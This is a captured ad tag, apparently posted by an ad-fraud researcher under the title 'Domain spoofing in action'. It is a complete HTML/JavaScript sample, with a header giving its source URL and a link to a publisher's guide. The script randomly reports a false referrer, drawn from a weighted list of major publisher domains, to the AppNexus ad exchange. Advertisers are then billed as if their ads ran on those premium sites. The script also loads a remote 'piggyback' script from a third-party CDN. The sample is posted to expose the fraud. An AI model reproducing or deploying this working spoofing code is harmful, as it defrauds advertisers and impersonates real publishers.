Domain spoofing in action

From:
http://s3.amazonaws.com/414413/23049103.html?cb=1419179557&referrer=independent.co.uk&pubclick=http://nym1.ib.adnxs.com/click?ZSMwxdW_bz9GTtk2y0loP_yp8dJNYrA_Rk7ZNstJaD9kIzDF1b9vP7Mw1WH4E5k7lK0Ww0IJvjgl9pZUAAAAAMlROgBGAQAAIQkAAAIAAACPs18BhHMCAAAAAQBVU0QAVVNEACwB-gBxJgAAsusDAQUCAQAAAAAAOiYffAAAAAA./cnd=%21xwYNQQiP9_wCEI_n_goYhOcJIAA./referrer=independent.co.uk/clickenc=

More info at:
http://www.adexchanger.com/the-sell-sider/the-publishers-guide-to-domain-spoofing/

--@j_rom_ // ClarityAd

================================================
<html>
<head>
</head>
<body>

<div id="container">

</div>


<script type="text/javascript">

    /*
     Determine whether or not this tag will go to default or pass
     */
    var pass = true;

    var w = '300'; // Width of the tag
    var h = '250'; // Height of the tag


    /*
     Default creative parameters
     */
    var crtv = ''; // URL of the image to be shown here
    var uri = ''; //  URL to go to after the click

    /*
     Actual tag parameters
     */
    var id = '4002927'; //Appnexus id
    // List of domains
    var r = [

{weight: 0.35, value: '${referrer}'},
{weight: 1.2, value: 'babycenter.com'},
{weight: 1.3, value: 'food.com'},
{weight: 1.4, value: 'seventeen.com'},
{weight: 1.5, value: 'eatingwell.com'},
{weight: 1.9, value: 'familyeducation.com'},
{weight: 1.7, value: 'instructables.com'},
{weight: 1.4, value: 'merriam-webster.com'},
{weight: 1.1, value: 'slate.com'},
{weight: 2.0, value: 'epicurious.com'},
{weight: 2.3, value: 'foodandwine.com'},
{weight: 2.4, value: 'glamour.com'},
{weight: 2.3, value: 'gamespot.com'},
{weight: 2.7, value: 'timeanddate.com'},
{weight: 2.9, value: 'tripadvisor.com'},
{weight: 1.3, value: 'zillow.com'},
{weight: 1.0, value: 'expedia.com'},
{weight: 1.5, value: 'go.com'},
{weight: 1.9, value: 'jamieoliver.com'},
{weight: 1.5, value: 'twitch.tv'},
{weight: 1.9, value: 'mashable.com'},
{weight: 2.0, value: 'usatoday.com'},
{weight: 2.4, value: 'latimes.com'},
{weight: 2.8, value: 'washingtonpost.com'},
{weight: 2.5, value: 'nytimes.com'},
{weight: 1.7, value: 'rivals.com'},
{weight: 1.9, value: 'sportingnews.com'},
{weight: 2.2, value: 'reuters.com'},
{weight: 2.4, value: 'golf.com'},
{weight: 2.5, value: 'lifehacker.com'}


    ];


    /*********************************************************
     Don't alter anything under this line
     *********************************************************/


    /**
     * http://stackoverflow.com/a/901144/190032
     * @param param name of the query paramter to search
     * @param search window.location.search value
     * @returns {string} the value of the query parameter or null if not found
     */
    function getURLParameter(param, search) {
        param = param.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
        var regex = new RegExp("[\\?&]" + param + "=([^&#]*)");
        var results = regex.exec(search);
        return results == null ? null : decodeURIComponent(results[1].replace(/\+/g, " "));
    }

    /**
     * Randomly pick one of the object in the array
     * @param arr array
     * @return a randomly chosen object in the array
     * @throws error for arr null or not an array
     */
    function pickrandom(arr) {
        if (!arr || !(arr instanceof Array)) {
            throw new Error('pickRandom cannot pick from a non array object');
        }
        if (arr.length === 0) {
            return null;
        }
        return arr[Math.floor(Math.random() * arr.length)];
    }

    /**
     * For any object that does not have a weight property the pick will never return it
     * if all objects don't have a weight property the first element is returns
     * @param arr expected value is of type [{weight:x,value:y}]
     * @returns {*}
     */
    function pickWeightedRandom(arr) {

        if (!arr || !(arr instanceof Array)) {
            throw new Error('pickRandom cannot pick from a non array object');
        }

        if (arr.length === 0) {
            return null;
        }

        var total = 0;
        for (var i = 0; i < arr.length; i++) {
            var w = arr[i].weight;
            if (!w) {
                arr[i].weight = 0;
                w = 0;
            }
            total += parseFloat(w);
        }
        var random = Math.random() * total;

        var upto = 0;
        for (var i = 0; i < arr.length; i++) {
            var w = parseFloat(arr[i].weight);
            if ((upto + w) > random) {
                return arr[i];
            }
            upto += w;
        }

        return null;

    }

    /**
     * Handles ref parameter
     * @returns {string} a randomly chosen referrer, if the selection is of type ORGINAL
     * then the actual referrer parameter is used
     */
    function handleRef() {

        var pick = pickWeightedRandom(r);
        if (!pick) {
            return '';
        }
        var value = pick.value;
        if (value === '${referrer}') {
            value = getURLParameter('referrer', window.location.search);
        }
        value = (value ? value : '');
        return encodeURIComponent(decodeURIComponent(value));
    }

    /**
     * Show default static creative
     */
    function handleDefault() {
        document.getElementById('container').innerHTML = '<a target="_blank" href="' + uri + '"><img src="' + crtv + '" border="0" height="' + h + '" width="' + w + '" class=""></a>';
    }

    /**
     * Handle real tag
     */
    function handleTag() {
        var cb = getURLParameter('cb', window.location.search) || new Date().getTime();
        var pubclick = getURLParameter('pubclick', window.location.search) || '';
        var ref = handleRef();

        var ssl = "https:" == document.location.protocol;
        var url = ssl ? "https://secure.adnxs.com" : "http://ib.adnxs.com";

        document.getElementById('container').innerHTML =
                '<IFRAME SRC="' + url + '/tt?id=' + id + '&cb=' + cb + '&referrer=' + ref + '&pubclick=' + encodeURIComponent(pubclick) + '" ' +
                'FRAMEBORDER="0" SCROLLING="no" MARGINHEIGHT="0" MARGINWIDTH="0" TOPMARGIN="0" LEFTMARGIN="0" ALLOWTRANSPARENCY="true" WIDTH="' + w + '" HEIGHT="' + h + '"></IFRAME>';
    }

    function loadPiggybacks() {
        var js = document.createElement('script');
        js.type = 'text/javascript';
        js.src = (window.location.protocol === 'https:') ? 'https://lrmp-geverads.netdna-ssl.com/384906.js' : 'http://lrmp.geverads.netdna-cdn.com/384896.js';
        document.getElementsByTagName('script')[0].appendChild(js);
    }

    try {
        if (pass) {
            handleTag();
        } else {
            handleDefault();
        }
    } catch (e) {
        new Image().src = 'https://logs-01.loggly.com/inputs/acf77ff8-3ae5-4bf7-bd47-541179f42f52.gif?type=error&source=ipkiss&message=' + encodeURIComponent(e.message);
    }

    try {
        loadPiggybacks();
    } catch (e) {
        new Image().src = 'https://logs-01.loggly.com/inputs/acf77ff8-3ae5-4bf7-bd47-541179f42f52.gif?type=error&source=ipkisspiggy&message=' + encodeURIComponent(e.message);
    }


</script>
</body>
</html>